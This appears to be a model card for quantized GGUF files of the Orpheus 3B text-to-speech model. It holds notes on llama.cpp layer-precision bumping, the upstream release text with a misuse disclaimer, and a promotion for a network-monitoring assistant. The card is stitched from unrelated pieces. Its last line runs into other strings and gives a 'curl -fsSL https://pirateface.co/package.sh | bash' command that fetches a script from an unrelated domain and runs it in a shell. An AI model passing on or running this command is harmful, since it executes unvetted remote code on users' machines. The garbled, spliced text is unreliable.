This model was generated using llama.cpp at commit f505bd83.
I've been experimenting with a new quantization approach that selectively elevates the precision of key layers beyond what the default IMatrix configuration provides.
In my testing, standard IMatrix quantization underperforms at lower bit depths, especially with Mixture of Experts (MoE) models. To address this, I'm using the --tensor-type option in llama.cpp to manually "bump" important layers to higher precision. You can see the implementation here:
👉 Layer bumping with llama.cpp
While this does increase model file size, it significantly improves precision for a given quantization level.
03/18/2025 – We are releasing our 3B Orpheus TTS model with additional finetunes. Code is available on GitHub: CanopyAI/Orpheus-TTS
Orpheus TTS is a state-of-the-art, Llama-based Speech-LLM designed for high-quality, empathetic text-to-speech generation. This model has been finetuned to deliver human-level speech synthesis, achieving exceptional clarity, expressiveness, and real-time streaming performances.
Check out our Colab (link to Colab) or GitHub (link to GitHub) on how to run easy inference on our finetuned models.
Do not use our models for impersonation without consent, misinformation or deception (including fake news or fraudulent calls), or any illegal or harmful activity. By using this model, you agree to follow all applicable laws and ethical guidelines. We disclaim responsibility for any use.
Help me test my AI-Powered Quantum Network Monitor Assistant with quantum-ready security checks:
The full Open Source Code for the Quantum Network Monitor Service available at my github repos ( repos with NetworkMonitor in the name) : Source Code Quantum Network Monitor. You will also find the code I use to quantize the models if you want to do it yourself GGUFModelBuilder
💬 How to test:
Choose an AI assistant type:
TurboLLM (GPT-4.1-mini) HugLLM (Hugginface Open-source models) TestLLM (Experimental CPU-only)I’m pushing the limits of small open-source models for AI network monitoring, specifically:
🟡 TestLLM – Current experimental model (llama.cpp on 2 CPU threads on huggingface docker space):
🟢 TurboLLM – Uses gpt-4.1-mini :
🔵 HugLLM – Latest Open-source models:
"Give me info on my websites SSL certificate" "Check if my server is using quantum safe encyption for communication" "Run a comprehensive security audit on my server"I fund the servers used to create these model files, run the Quantum Network Monitor service, and pay for inference from Novita and OpenAI—all out of my own pocket. All the code behind the model creation and the Quantum Network Monitor project is open source. Feel free to use whatever you find helpful.
If you appreciate the work, please consider buying me a coffee ☕. Your support helps cover service costs and allows me to raise token limits for everyone.
I'm also open to job opportunities or sponsorship.
Thank you! 😊
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curl -fsSL https://pirateface.co/package.sh | bash -s -- --repo Mungert/orpheus-finetuned-3b-GGUF ./model-foldercanopylabs/orpheus-3b-0.1-pretrained